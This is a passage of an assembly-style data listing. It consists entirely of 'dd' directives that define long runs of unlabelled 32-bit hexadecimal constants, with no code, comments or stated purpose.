		dd 71A4C2C6h, 0E7999182h, 0F8A980D9h, 0F355B71Ah, 8A62CFAEh
		dd 78087EC4h, 0D7E78589h, 75439195h, 0B8287AE1h, 0B9B13340h
		dd 0F3D477D4h, 39942FBAh, 233C2234h, 18B17A18h,	8D0412E8h
		dd 834F7DCFh, 0DF269BEh, 75B0FE0Ah, 24D7F1DDh, 42DD2D3Ch
		dd 0A65DE9E7h, 0BC03B4FEh, 0EFA0FB8Eh, 0C4CCA37Ch, 9A765226h
		dd 0C1FB5CB9h, 4E32B03Fh, 63C6B507h, 6B950A20h,	0B8622A7h
		dd 3E984FC0h, 0DDAB80F1h, 0AEF0C88Eh, 3390A2Ah,	9CA2684Ah
		dd 88B3CCA6h, 8F58C57h,	0F8D7310Fh, 0C0131D0Fh,	56B5D83Eh
		dd 264CAF08h, 0B7AEB6ABh, 3C5407DBh, 28AFAFCEh,	0D4A5BCBDh
		dd 8D472853h, 3B89D913h, 0D14F44E9h, 0D406D92Eh, 19F5F178h
		dd 4EB31CBAh, 2335B8Ch,	0D4FDE8B3h, 0A934072Eh,	0E5B334B4h
		dd 49802987h, 0E60CDB98h, 22D1E19Dh, 77285102h,	477DD9DDh
		dd 518113F8h, 57E4343Eh, 5FC2CDC3h, 6636E767h, 0B9C1298Ah
		dd 7E5DCD14h, 1C5D7B81h, 572B59C4h, 0CEAFC6Eh, 271DBCFBh
		dd 0FDF911DFh, 0F53E5F64h, 0D9887E40h, 0F6214D23h, 2DB7F5C3h
		dd 3F19A6EAh, 29EE6824h, 0E854CA50h, 0AC0DC3BEh, 0A8CF7FC2h
		dd 0F0AFA1A3h, 889A9AD0h, 0DDAEC3DCh, 5FFE7D5Dh, 0AFC285E2h
		dd 20B17DEBh, 9A9ED939h, 2C4FBF06h, 0EEB680E8h,	994B517Fh
		dd 91560BBEh, 0B9E58BCBh, 0FB2D209Ch, 475E9F26h, 89FFCB7Ch
		dd 870E6A2Ch, 1CDB8EFh,	6015F61Eh, 0DF88CEFCh, 7D8106A7h
		dd 0CEC84174h, 8DF27537h, 0CE31B936h, 7082E921h, 4D01B779h
		dd 62E05956h, 95F15584h, 68279C65h, 0C51BF0DEh,	97376123h
		dd 30BD73EFh, 6795087h,	80A79178h, 92B95BB6h, 0CA500FFFh
		dd 0DE716967h, 52BF9B00h, 0F8A67AEBh, 38C49560h, 0C4BD8084h
		dd 903743Dh, 4B8EA2B3h,	8CCCFE6Bh, 0A8AD8CFCh, 3B80FD77h
		dd 7029FF0h, 0EF4A3C81h, 4CE5868Ch, 0D5219A2Ch,	0C86727AFh
		dd 0D58197A4h, 4A53E01Ah, 3C2044D5h, 1C4CFDC1h,	373B66F0h
		dd 0FB0A6AC6h, 0FDED587Bh, 3428B88h, 33F688A6h,	0DAF03FF1h
		dd 0F1B312D5h, 4BEE399Dh, 78F2E104h, 3C3D7345h,	0B59E6928h
		dd 1D13EF04h, 895B6BFBh, 0E5D0C4FDh, 6B0F6281h,	0B9B7CCBFh
		dd 0AFF6ED04h, 4877160Dh, 67E8405Eh, 427142FCh,	392F52FCh
		dd 0C751D5D1h, 0BB26BE6Ah, 4A6E2BA3h, 0F1826961h, 75E4062Ah
		dd 0CA42E9EBh, 0DF97D752h, 0D57DD7C0h, 80104CE2h, 6837B9CEh
		dd 3E7653F2h, 267A9742h, 9DD07F4Fh, 0C04A9C39h,	7D198C73h
		dd 0DD6DB73Ch, 0A2F5F0B9h, 9144DD48h, 2F8F34D0h, 6DC45A81h
		dd 0D9EB7108h, 0BD53C5B9h, 0A1C8A9CBh, 6F125299h, 822CB957h
		dd 0F8B7B4h, 88FA9EB3h,	0A2112ACEh, 0ACF7062Ch,	0BE344EE1h
		dd 0F574A8B4h, 2D00E42Fh, 0F73AC94h, 696249AFh,	0A52D5CE1h
		dd 724C75DCh, 98D32437h, 0A05499EDh, 0BF655A61h, 96459228h
		dd 0BBEF782Ah, 0B250554Eh, 3359C1F9h, 0F26EE522h, 4FE2B573h
		dd 0AB29797h, 6AA82254h, 0FCAF94CFh, 89654F0Dh,	6F72013Ch
		dd 16626C6Eh, 0EA74A993h, 2D293435h, 1A6E2CD1h,	98DF34A1h
		dd 2BD137F2h, 0BC5E383Eh, 23633B03h, 86AF8B50h,	7BA3E038h
		dd 0A292018Fh, 590D35D8h, 0EE81732Ch, 5B36E7A4h, 90C82574h
		dd 2259ABF9h, 0C8A4375Fh, 25AF49Ch, 8BF75D48h, 986D092h
		dd 8E08F8D3h, 96EB3D65h, 7DA1DF76h, 8A045C20h, 333E0029h
		dd 2C869BEEh, 369EBEFCh, 0FEB3295Ch, 842E9B21h,	3E63A7D7h
		dd 0FEE6E420h, 0F0B4CC21h, 0E879DF3Fh, 0F8E70104h, 0CE6B18D3h
		dd 88880210h, 2B67AC6Ch, 0EF2F81A7h, 75B97A6Dh,	0F42DB9DFh
		dd 0B927C167h, 729398Ch, 9CE70942h, 23D218FBh, 95EFFE65h
		dd 0D86A0635h, 0F15134E9h, 0BD310079h, 0F10091B8h, 0D00201EFh
		dd 4196FFF4h, 0CAD1113h, 0C93E162Bh, 7EA67EAAh,	0FC5CC7BFh
		dd 7D2552F2h, 0FAE9A606h, 702753D5h, 0A0D256DAh, 766E46E3h
		dd 0B9474E87h, 9623A071h, 23ADC4E9h, 81CE71C3h,	1642E001h
		dd 0FF350BBCh, 0CDF0FEC2h, 2CEA1B2Bh, 1C58AAAAh, 0B5FBF9FCh
		dd 95D31DF4h, 0FF046606h, 32744CA7h, 0D8292564h, 0D550B72Eh
		dd 0FF360137h, 0A5EF147Eh, 0C326BC33h, 105825D8h, 0ECE6B063h
		dd 0EBB51329h, 5ED1C3D6h, 7CDEF055h, 0F5DF4B4Ch, 81C50A79h
		dd 0B7721384h, 7C30FB7Ch, 0DD65A821h, 0C9C70123h, 1B0E24D8h
		dd 0B0F876B6h, 0FC6DDEACh, 0BB1BA095h, 0F6F474BDh, 90228B27h
		dd 0CB28CA08h, 0F344F384h, 0A0D61AA2h, 9A20B168h, 52AED5E4h
		dd 0F5946465h, 0D7BC1552h
		dd 64FE48Ch, 0EA6FC5BFh, 22C63820h, 951E1CA6h, 0C9F9D37Eh
		dd 8A2D23ECh, 0AF401EAh, 4DC17D84h, 0B0A8B36Ch,	86921DF9h
		dd 0F9A0C340h, 0D5CBF832h, 0D92B3BBFh, 571F6440h, 976E67A1h
		dd 0CD70E367h, 1EE50146h, 3E6D7367h, 0A5603E30h, 2189088Ch
		dd 0AB6C459Dh, 6D76B175h, 0A2FAB0E8h, 89FC6A64h, 93B37ECCh
		dd 27FC97BCh, 0A7B2D894h, 0D446E7FCh, 0CF27C8BCh, 0F6A56000h
		dd 0C7A2A081h, 0FBB0FAFCh, 0DC43C926h, 3BD16018h, 7E314838h
		dd 0BDD98A2Bh, 894C51E8h, 0E3D13BBDh, 0FDB638A6h, 0CC602038h
		dd 409F17F0h, 0A5E24117h, 5C8749D0h, 57F559F2h,	1F209FFDh
		dd 3E534D27h, 0C489B573h, 20CC64E9h, 0DC02E82Bh, 8F125C52h
		dd 88B4FDE7h, 0E775CCFAh, 0FB834754h, 62C0456Fh, 1C9055E4h
		dd 1B166D3Eh, 43E19E48h, 0B835460h, 0C36B73Fh, 0DC40A9FFh
		dd 0AA2DB156h, 0AD77ABC1h, 8DE3BDFDh, 0A8EE4AD8h, 0CA7C2DFCh
		dd 4BC7D504h, 90BD1434h, 0E65C730h, 3B1098B5h, 1CC801E9h
		dd 0CF971AFCh, 11F0491Dh, 152CA1C5h, 0C3F8F6C0h, 623E3279h
		dd 0EEA3600Ch, 0B802AA40h, 0C8392F39h, 41ED36A7h, 3F340629h
		dd 40E04E44h, 0DD4C65E7h, 27206FB0h, 5DA904F7h,	6066B8A2h
		dd 442DB367h, 0AD1BF2C8h, 3A991384h, 0D30333C1h, 754C76AAh
		dd 0D2C497A2h, 0D523A1B5h, 56090ECCh, 524C014Dh, 0CFEAFBCh
		dd 0C5F05A79h, 7E0676E2h, 10D834Ah, 2AAE4CB9h, 0DD4C1CBEh
		dd 0DCC0C976h, 295E40Dh, 8F73537h, 291061D4h, 8E2B7CAh
		dd 0C15FBDCEh, 87176367h, 8A5F34D4h, 96ADBF79h,	898C4FBFh
		dd 80CBEF8Ah, 1C59F08Ah, 359062Fh, 4F80BD29h, 49757F59h
		dd 0AE37593Eh, 72B97A3h, 1F2674BAh, 1B1F4648h, 9FFDEBDEh
		dd 0D218772Ch, 336463CAh, 5E76823Ch, 62CFB710h,	50DBE20h
		dd 11286B25h, 45749C27h, 570864DCh, 87AD5F80h, 8201FFCBh
		dd 6610A32Ch, 62849DC7h, 5B2ECEC0h, 0CCC114B6h,	8C87124h
		dd 76BB63Ah, 306F17F8h,	2F1707A6h, 19145B4Bh, 51832F1Fh
		dd 79287528h, 70038A4h,	30833EADh, 1F753BDEh, 36C2D478h
		dd 38ADB1E4h, 0E46FE9EBh, 220F3B39h, 5230A360h,	0DCB466D9h
		dd 4C2FB28Ah, 0C0E775CEh, 0A099DA3Ch, 9D5A1D9h,	0DFBDD80Dh
		dd 66D241E4h, 1663BC24h, 4E12B67h, 0DCC9E8h, 5488EDA2h
		dd 0B31EC841h, 7D4DF73Ch, 0B77F8122h, 7B3460B0h, 0D4FB422h
		dd 0EEE26372h, 0D7D4F12Eh, 495D5597h, 0DCAFD0BDh, 39894B7h
		dd 29AF12B7h, 3E2C7FF4h, 0D0717CF0h, 6B257181h,	0C54817E6h
		dd 53F607FCh, 6B260921h, 68316B2Eh, 0A3B772E4h,	0ECC2C071h
		dd 9A777AF0h, 0CDBC2F81h, 0A994ABC5h, 0C8FD3D56h, 60B9B23Dh
		dd 0D03FD11Dh, 8E559F53h, 0A1CEF713h, 0F7F3C777h, 9D8AFAB9h
		dd 0D4332818h, 19600D66h, 851758ECh, 4B2BC3D1h,	7D153AAEh
		dd 99FBAE67h, 0F421156Ch, 7A7956Eh, 8B051F40h, 57E59063h
		dd 0C737D0BAh, 0C3099EB1h, 932BA9FEh, 43AD0464h, 64A4C6A2h
		dd 0B65F4F04h, 15EB1833h, 27A19D03h, 0FB45DF25h, 0C00D4D6Ah
		dd 0C39DDE99h, 50E0C9CDh, 58B8A34Bh, 27CFFFAFh,	2799154Fh
		dd 421546E9h, 0CBD311E3h, 0BBA8D124h, 8711BE67h, 66E7FBA3h
		dd 0EC49E9D1h, 2DF5807Dh, 6F86C0E9h, 85FC7BAFh,	0D70F473Ch
		dd 94CE7DFFh, 0D569A93Ch, 0CF14B93Ah, 0BDDD5584h, 7B29354Ch
		dd 680BA5ACh, 12BB91FAh, 0D583E6E4h, 1B08BF4Bh,	8A6E1BF8h
		dd 0FD1F00D6h, 0D0DBF8BFh, 0C82EB422h, 0B59949D3h, 86C4EF6h
		dd 8620B688h, 319E71BCh, 3D0C7FCEh, 0A5844992h,	0AC2601F0h
		dd 1B8C86B8h, 394BA94Dh, 4A3BDDC7h, 0B6B63496h,	59E4F04h
		dd 0C70C62A7h, 15CDCC37h, 9C806F0Bh, 0DD035D32h, 0B52793Ch
		dd 0E8726DB5h, 55F4606Bh, 0FAB1F496h, 0C577B723h, 0C36776E8h
		dd 0B4CCB569h, 0A9BEF641h, 912230DFh, 274430Dh,	3F09D1C0h
		dd 0F5C044A5h, 3D1DECE4h, 6612633Fh, 7A1799C6h,	0BE1F63DCh
		dd 0C14062EAh, 0FB390B6Ch, 621A3366h, 782EE135h, 0A6FF8694h
		dd 0C64CD4F5h, 6BFD9144h, 136E51C5h, 0D42B1B81h, 7F0675F6h
		dd 0B302A2F0h, 1AB35FE1h, 889556BAh, 0A53EF34Bh, 763D3C28h
		dd 0DF03A540h, 0BDF53473h, 0DBF4295h, 9F2D9BFCh, 0FABEC210h
		dd 0FDEDA498h, 0FC0BCFD2h, 645BB766h, 171080E9h, 0EF09CA54h
		dd 0C7651B01h, 8FB1B060h, 9F351E7Ch, 726F04CBh,	0DBD0620Ah
		dd 0E2D11406h, 7B211D34h, 6F50AD48h, 85E6C007h,	5279DDB8h
		dd 0B3507104h, 840C326Ch, 0E217582Dh, 412C72C3h, 6642089Dh
		dd 41FB03AAh, 0E65B468h, 4FC4EE4Ch, 9CEA4897h, 7DDA2B9Eh
		dd 0BE637084h, 0D9B7D1CDh, 0C8E5E1B8h, 0F01A001Ah, 0FF16F3Dh
		dd 1D8AA74Bh, 0DC8698B8h, 595B0F36h, 4C9A000Ah,	0B597F6D0h
		dd 36E5087Eh, 7C3E77FCh, 0E73A09E3h, 0D036C107h, 0FB3367D3h
		dd 0E19D41FBh, 0BF0FAA7Fh, 0DFE66F56h, 4C73A1F3h, 547C23A7h
		dd 17D9FBB7h, 83D15518h, 1E51C769h, 0C31170B6h,	22C490D1h
		dd 25AD00CEh, 0C7395166h, 0D48645F3h, 7F0E4963h, 2420ACD3h
		dd 87279CA4h, 272C5637h, 0C73480FFh, 0D9316908h, 7BD61334h
		dd 0CDC06F89h, 0D02C7DFEh, 3F3E790Bh, 481A6968h, 6B1428C7h
		dd 0C69E082Eh, 0D5C946A8h, 0A41E4D3Fh, 8653017Ch, 46CF1FACh
		dd 0B982752Ch, 0B3BC1915h, 72677741h, 9EF1614Ch, 0C7FD6925h
		dd 5677BD4Fh, 27670800h, 90C626ABh, 9A67F77Ah, 2A2943E6h
		dd 21E9B83Ah, 44470059h, 921CCF68h, 28152F9Ch, 0AADD73D9h
		dd 0BC4A509Eh, 0DCA9B591h, 0FCA0B006h, 181438A2h, 0D8E4562Ah
		dd 5DFB3DB7h, 78D80570h, 2654EBA0h, 0ACE504FAh,	2EA49FC8h
		dd 2DA7C5F1h, 3151068Ch, 0BA0906FBh, 0C45CE4B7h, 0C25E796Ch
		dd 0C02E7B18h, 10A57F86h, 8ADA6481h, 84A5472Dh,	0D225932Ch
		dd 9C65C761h, 34B949E4h, 0C71A53E0h, 69646B6Ch,	0BAA503FEh
		dd 0DE4C9864h, 18853D01h, 14207DE0h, 382793FCh,	0FB249098h
		dd 0A5C4E5E6h, 75065AEEh, 5CE48AF8h, 0E25376Bh,	0C0AE6A1Ah
		dd 0C16C57C2h, 0EDA47A18h, 0C2C33E4Ah, 0F92E0044h, 0F1209030h
		dd 39204AACh, 95D717D1h, 4430AB7Eh, 30E5E711h, 4E080057h
		dd 0B13E926Fh, 7C62516Ch, 0C1A970DFh, 0C380F44Eh, 0B6807AFEh
		dd 0D34F4FB4h, 0D7729C82h, 6EF0F8CDh, 0B7DF64F1h, 39334E08h
		dd 0DE433CD9h, 0F4F77A1Ah, 250D6966h, 0C64EFCB4h, 0BD1F44FDh
		dd 0CA9DD71Eh, 98A1D921h, 8894566h, 923B081Ch, 3730728Ch
		dd 1B04E667h, 9FC726FDh, 0E63D1EDFh, 7C574160h,	0FFDBBDA6h
		dd 0DD3A0E76h, 0DFD2257Ch, 0F59D5C38h, 0C76F4983h, 9EF5E562h
		dd 0D10A0C6Fh, 48A95110h, 0EAEBFF7h, 132B9C61h,	43E45109h
		dd 438DD39Eh, 2C0E93F8h, 6A857BF0h, 1F075C53h, 0C9CCF7D7h
		dd 0DD674E29h, 0C43526F9h, 0FDD27185h, 821A80EBh, 0C0617680h
		dd 6890625Bh, 54700AD3h, 2FE4403Fh, 8F8CA99h, 0A95F026Dh
		dd 98304577h, 0F91ABF99h, 0C6AE13C0h, 7C14FC3Eh, 43CF07F2h
		dd 73C946ABh, 0CAB7290Ch, 105B7921h, 0B65BFE61h, 0D7022EB7h
		dd 3358BB3Bh, 0D2D104A4h, 0FCDB2E6Bh, 4BBC6BD7h, 0C65D0994h
		dd 4A4CB2E7h, 0B4660AAFh, 75E10418h, 0FE10C3C3h, 0F6D4BDBAh
		dd 94E9B785h, 17685D10h, 34FAAD68h, 8BE06486h, 38E7D5B0h
		dd 7B3B75EDh, 0B3C27642h, 78320004h, 0FDD23B5Fh, 492431DCh
		dd 0BBC17A17h, 3249981h, 109D61E6h, 0B4354C2Eh,	0B5454534h
		dd 0A8E6EF27h, 0E1BDF489h, 9C14E3A9h, 9E175944h, 38165F18h
		dd 0EF17A12Ch, 14CBAA98h
		dd 3CB0B2C4h, 74A3EE54h, 0F9D279D4h, 31A2037Fh,	8D7B589h
		dd 4C67E382h, 73DB46CCh, 0BC512B4Eh, 2E5850ABh,	0AAEF12BCh
		dd 6C61319Ch, 91048321h, 25AAE972h, 73A2C269h, 1B256BFFh
		dd 7DD47DF8h, 0BEAC797Ah, 0C73CB46Ah, 499C262Ah, 0C3D14518h
		dd 0F4D0D934h, 0ED23BE12h, 8E34B3BEh, 9437D6E5h, 6355FEFDh
		dd 47D7DB7h, 0F43D1564h, 573920A0h, 124F1DE6h, 906D21ABh
		dd 97226ACFh, 0BA340C53h, 6058C448h, 0EE9AAFC7h, 0DC204E54h
		dd 0B610A4FBh, 0C089378Fh, 50B86EA4h, 1C622C33h, 0BB9CFD0Fh
		dd 652F8BDDh, 350537Dh,	0C19A2B4Fh, 3E3DD9E9h, 305BE62h
		dd 54CB4E2h, 6035075Eh,	14F2F8FCh, 0B5B1B5Bh, 4BACBEE1h
		dd 13EAAAA1h, 8753EE2Eh, 16615984h, 0D705B092h,	2C4E68A9h
		dd 0B49FC12Eh, 538946D0h, 0A8F601F8h, 3AEC1FE4h, 2735C15Eh
		dd 0D424EF02h, 2CAA68AEh, 8564FD29h, 3D5F7E50h,	0A000753Ch
		dd 5B95554h, 0F5E8E874h, 66A9ADB7h, 14E83912h, 0B4C8FCCBh
		dd 7B9B36BAh, 0CEE2DD5Bh, 2D9CC88Bh, 3A56B79Eh,	0EDCBF004h
		dd 8C9A7DFEh, 14B075D3h, 3CCDC0F7h, 0FC35CC01h,	7159C24Ch
		dd 2C968A99h, 85460AF6h, 7A35769h, 0AFDFA59Bh, 51AD7E83h
		dd 228477Fh, 2AA9C3ACh,	30B4E23h, 3D00BD0Ah, 0CEC0B8A7h
		dd 0B9960C5Dh, 208ECE4Fh, 62A86F33h, 1FB59EFAh,	31E70D24h
		dd 0AAB885AFh, 39AD73CDh, 19B449C1h, 0FA06B15Eh, 0B77E673Eh
		dd 0F42D0AF8h, 0AAF0F57Dh, 0C54373C7h, 5136B5E8h, 0B82D0AFAh
		dd 0CACC525h, 0A59F1834h, 5CD7F31h, 0C60265B7h,	0A3B73D17h
		dd 3DE40263h, 4FABF064h, 794B4D38h, 3821F56Bh, 0CA86C91Ch
		dd 4671013Fh, 0B1C47A2Fh, 6A3297CAh, 0BD58CD51h, 0D5C87335h
		dd 0F6CD0293h, 0F9EC470Dh, 5DCCAAC7h, 7F79C1CCh, 0FD271E67h
		dd 0F5D45D69h, 5DD7F63Fh, 0B67DAD1Eh, 46227565h, 2755B7B4h
		dd 7F126356h, 0B68047EEh, 0C52347F8h, 6ACEC5A1h, 1C9E16FEh
		dd 0F7A006DAh, 7B2C4930h, 86CFA25h, 0D52FD237h,	4206720h
		dd 0FD6C592Eh, 0CD8B628h, 0FDDFF46Bh, 23CDB363h, 425CB51Fh
		dd 3F55ADBFh, 64AB8064h, 54A0F563h, 4B9F0B31h, 0F8EFFE1Eh
		dd 4D9FD8E8h, 0C29F1C1Dh, 7321FB68h, 0E92C80E6h, 2BF11457h
		dd 0EF73C8Fh, 0B8999FCFh, 0BECD64E1h, 0AC6477CDh, 7B265604h
		dd 389950CFh, 0B6F864E0h, 1AF864F2h, 3510CD68h,	0B05D75E9h
		dd 0D735784Eh, 17054931h, 8973502h, 0D8F601CEh,	7B2A5953h
		dd 0A39A21C8h, 6C28A6B8h, 67E04363h, 4F09605Ch,	5F2E09ABh
		dd 0E2ABBE09h, 0E0015FC7h, 463624C9h, 2AEFC257h, 9E86AEh
		dd 0ACB1661Dh, 0D795F6FCh, 0C6056AE8h, 0EA997D22h, 0F366B4BDh
		dd 0C4E66951h, 0E5610FFFh, 0BB2ED23Fh, 0C40CC9AAh, 0B0496168h
		dd 0C80B311Dh, 0FF2B555h, 0C5054966h, 1456D4FFh, 0AE7D5BFAh
		dd 6F3B33Ch, 0C43764D0h, 0CEF1171Bh, 2A7CE82Eh,	0F9F69FDDh
		dd 1B366458h, 2B1D67F8h, 543E5E37h, 0C42AD30Fh,	9848C183h
		dd 4D8D225h, 3D70B086h,	9FA0DB54h, 0F594655Ah, 6E23BC1Bh
		dd 34621179h, 633AA84Dh, 4F614932h, 0A6352E52h,	1F5CB467h
		dd 57E09FCCh, 2502BD9Ah, 1CAD1E3Dh, 0C2754EC1h,	7DE50210h
		dd 0FEAFFCE1h, 0C853AB66h, 0B6B66BE4h, 0D506D3A8h, 83AF727h
		dd 1781F5BAh, 0AB4BA1FCh, 0AEAC0822h, 5B9EAC48h, 0A16208FCh
		dd 0E07636F6h, 3B0BF904h, 0A635BAEDh, 0FE67AB97h, 153034B0h
		dd 5036BE84h, 4700F986h, 0AB07DE1Ch, 39BFD1Ch, 7718DE93h
		dd 0F19164DEh, 0A47B63A5h, 0C1806C8Eh, 7F276708h, 6DB47845h
		dd 0A85AFD74h, 5CA5EC40h, 6B8C5A80h, 0E5847F43h, 473EDBE8h
		dd 0EF71EF39h, 4BAF1619h, 7EDD825Eh, 7185EA9Ah,	579FE217h
		dd 0C434A400h, 0C8FB9D77h, 0BE00175Dh, 965CC531h, 7CF0B579h
		dd 2B91D46h, 9574DD58h,	31670BD3h, 2F0555CCh, 712A20ACh
		dd 0B2E41CF6h, 0B504B5BBh, 0FB31DBC4h, 0AD3D1969h, 3E688CA3h
		dd 6DEB1938h, 0CBF9130Ch, 9F1F8B63h, 87DC8A7Eh,	7535ABD3h
		dd 0C24C6302h, 6C782155h, 0FF26B4A1h, 6550B904h, 0AB6E0A34h
		dd 67B43C07h, 0B7B46260h, 372D3705h, 9D0C4055h,	3C9598Eh
		dd 3E88F54Ch, 0AF8BBE3h, 1782E028h, 51806657h, 0F2AEB5D5h
		dd 1109585Ah, 0E40CE980h, 0FCF64BCBh, 49E19852h, 9A407DFAh
		dd 9B6C9904h, 0A6E73B38h, 0D24F71E0h, 97A28CD7h, 48CCF8AEh
		dd 9F05B4D7h, 6A28F05Eh, 75E4A8C6h, 492C414Ch, 4609F52Ah
		dd 54623D9Fh, 20309626h, 24ECF8CEh, 0A4CEC08Ah,	5CF75DDEh
		dd 3F601C3Dh, 0AF31B14Ch, 33580590h, 1840AF4Ah,	36F47704h
		dd 865B2628h, 101A3E23h, 5E18647Fh, 553E35DDh, 5A2C0247h
		dd 0BC8D2C97h, 60C06DF1h, 3E29FEDFh, 0C3C133FBh, 0C90CA473h
		dd 0CE20E61Fh, 0C04B7C51h, 0ED2C43CBh, 7B280EEAh, 5FC8D0FCh
		dd 0CB2409CFh, 0FE7CB378h, 0D378CD62h, 76744EF5h, 0C4E18650h
		dd 0D042661Dh, 0F1A776CDh, 0AF878839h, 0B0760AFEh, 0DE3051E3h
		dd 9219B580h, 28DB0D6Ch, 1F1744Ch, 23BBF68Fh, 257D8296h
		dd 0E7349755h, 0C954C806h, 661E813Bh, 11E469CEh, 0F7F3C4EFh
		dd 3EABBDFBh, 70574EE3h, 44296CA0h, 77FBBC2Eh, 79052319h
		dd 0ED04F055h, 10744335h, 9DEAB4FBh, 9DEDEAF5h,	77EC7E4h
		dd 92ECA39Ch, 834CC3DCh, 10CC7717h, 0D5E4EBD2h,	0A52E7C90h
		dd 9C91D4B3h, 0A495D19Bh, 375EAB8Eh, 0EE94FAE4h, 6A4AC7Bh
		dd 1CD6DBC4h, 2C43CD5Ch, 0A8FCBB23h, 0F6495668h, 0B470B25Bh
		dd 31E17914h, 730CB225h, 0F86B1524h, 41AB7AF9h,	653B63Dh
		dd 0ABC81C82h, 66CA3727h, 9BAD55FDh, 0F4D038F0h, 4277FE1Dh
		dd 0C2AC45E4h, 0C38E473Dh, 4D20A371h, 4F660C34h, 7C1F6486h
		dd 0F99EA129h, 0F95C86F4h, 28D99DFEh, 0F32EC2E5h, 4EA80CEh
		dd 35C0051h, 3E40DA00h,	90DCBFADh, 0E47C632h, 0ADF925Ah
		dd 202C3DBAh, 0A5311DFFh, 0F552EC41h, 0DB849DE4h, 0C91CAD39h
		dd 0E076D5AFh, 7DA05C7Ch, 0BBABDF7Dh, 479768FCh, 8BDCE3C8h
		dd 6CE0F574h, 0CA65623Bh, 710956B7h, 7DD8ACDAh,	713891D9h
		dd 0F9CE4693h, 6E845A10h, 0FBA31DC2h, 6722E8A4h, 3B7F5781h
		dd 44A46619h, 47143338h, 7C96D5FCh, 0A6A4A7F4h,	0AEF6ADFFh
		dd 2855BC3Eh, 20FC1DE4h, 0A5A08A50h, 36C0FD1Fh,	998EA82Eh
		dd 0FF0ECBC4h, 0D9546601h, 8C8B1CE6h, 63E1B712h, 0C7FF597Ah
		dd 57FBD92Ch, 0D4F91216h, 875ABE30h, 6288113Ch,	0FA1CD42Ch
		dd 0A01B382Dh, 0D0A708FDh, 4BD945E8h, 7734629Bh, 0B82801F1h
		dd 0AE142DB5h, 2EB68CD0h, 0A27B072Eh, 6E288895h, 503C7A18h
		dd 0CFC8E690h, 0D72E3FF0h, 9A243FA3h, 82362864h, 0DCB99AFAh
		dd 367B211Dh, 62AB23Eh,	0FA02C08Ch, 43D0AA67h, 0AD03956Dh
		dd 0ED0320ADh, 2FC6D032h, 6738AF27h, 31B4B23Ah,	40ECFCADh
		dd 8803DE27h, 76357177h, 0E94F83B9h, 3FA290CDh,	0AFDAB000h
		dd 412B8E84h, 0CEB55697h, 269455C3h, 5039A9D4h,	0BAD9916Bh
		dd 625AB640h, 988B45h, 0DF33D130h, 0BD8B7418h, 644D4A26h
		dd 3922892Eh, 656D0B6Fh, 0C7289D9h, 0E2E1AF61h,	0D1CCCC08h
		dd 7AF7E8Bh, 0E09EB404h, 0AA5B122h, 0E3016536h,	6216CB7h
		dd 41984500h, 73A875AFh, 8526E1EDh, 0EE77A8F8h,	39758786h
		dd 2D7E01E7h, 84CF4EB9h, 7F0EF69Bh, 93671483h, 2298615Ah
		dd 0C57579FFh, 0C44FD8F6h, 6155DDE5h, 57A0659Bh, 0EA851241h
		dd 4B44A44h, 6246ADC9h,	9AC65442h, 791B29FCh, 9AA3D986h
		dd 0DA38DB4Ch, 4B4DF1Ch
		dd 0F866ADC9h, 0AB457541h, 0BADFEC6Fh, 0C5E20653h, 3A64C680h
		dd 4C2F0CAFh, 7EDAB695h, 0E7122522h, 6DDED83Eh,	0FF18929Fh
		dd 1A649DCCh, 6843E3CFh, 370139FBh, 0A2F8D67Fh,	0B23409DAh
		dd 51658B5h, 5F7D50CEh,	0BF76F417h, 4CFEA9ECh, 0AC33CD9Ah
		dd 5FD71EE2h, 112D1503h, 0A1E700h, 35ABBE5h, 8F35B35Dh
		dd 0D209F146h, 0AE9A7540h, 7F34702Eh, 0A7F78A28h, 9F09FAFDh
		dd 0F013344Ch, 0A925717Fh, 0AB1DA3CCh, 181F2702h, 0F88A72C7h
		dd 0C5037525h, 0AB4F240h, 0D9D97431h, 78AD7DE6h, 0D06EE3C8h
		dd 0B1E69F3Ah, 0FA63ED27h, 67001108h, 64968194h, 683CE56Ch
		dd 55837832h, 0E8FAC82Eh, 41B3B91Eh, 0B821ABCEh, 3EF13981h
		dd 40AF80C9h, 599CA83Eh, 7C8CCCB5h, 83FC580Ch, 7DB4B073h
		dd 0A99D5D06h, 14F3A7F5h, 39B25F75h, 2CC95DEh, 0DCA0162Ch
		dd 0DF1159CAh, 0FA286CEFh, 15084EC6h, 0F9097E6Ch, 140A7A6Ah
		dd 46D512Bh, 0FAE17E61h, 3AC1ACB0h, 0FDE26FE0h,	83AFD9D0h
		dd 38E8BDC5h, 82EE7A19h, 0F03954BEh, 395F0FE4h,	0C210134h
		dd 0D98F1DEAh, 9C4AB69Ah, 2286E378h, 445B725h, 0B9EC40CCh
		dd 0FD309F4Eh, 39FE4F39h, 0DE021F36h, 3BC45A45h, 4D700AC0h
		dd 3F4DCCC8h, 755E126Eh, 0AEB40AEh, 2B105C3Eh, 3722CEDCh
		dd 6E2A7485h, 0E9F3AFE1h, 2040785Dh, 2F192FB2h,	71FCFA74h
		dd 0F9FACC00h, 2B06B899h, 62298D26h, 0EB5C4E1Ch, 0FAD9EF4Bh
		dd 4049F00h, 0A9CEA984h, 0CE0C66DFh, 37CC751Dh,	0E118C0F9h
		dd 54ACD5E4h, 0DCD9E51Fh, 0E611333Eh, 3368BF08h, 0E189BBF2h
		dd 0D4353F6Eh, 43125FFBh, 4AC8F6CCh, 62F86C5Dh,	37F4A7FCh
		dd 6F10EE8Eh, 0F123C116h, 383A30A2h, 0EECA9592h, 7AEC86A2h
		dd 696E59A4h, 706F4E3Ah, 0E265A492h, 87374EEAh,	808A8A15h
		dd 1BD6CE0h, 3736F6A2h,	3B02BD07h, 72A5908h, 0A41637E0h
		dd 0C4EAD192h, 0E10DD724h, 0AA231CFCh, 2B8D67B2h, 2AD4A1B0h
		dd 0AD3362CCh, 2262F172h, 5C86B96Bh, 0B1F36D5Eh, 0DCCE38B7h
		dd 77253300h, 9465AEEBh, 5FD5EEEEh, 9D73E531h, 9C946CB3h
		dd 2E8DBC68h, 3C9F15C3h, 6DA5222Ch, 4A10236h, 0E8E45C27h
		dd 0CBD1B66Dh, 24A0F8FEh, 19842F54h, 7801F714h,	11067440h
		dd 7B349FD6h, 0C5CFDAA4h, 0EF35D591h, 843914D2h, 21824FFFh
		dd 74351E8Ch, 0E6AA144Fh, 589B81CDh, 654CFCC6h,	1092A96Ch
		dd 540064Bh, 7909393Eh,	7118E22Ah, 3634752Eh, 0AB80A4A8h
		dd 5F992439h, 3B259E4h,	2187F92Eh, 890F54Ch, 10F1A5CEh
		dd 8C0C8B35h, 0BAAE31F0h, 0A5B596CBh, 0D45C9AF8h, 0FDF8B708h
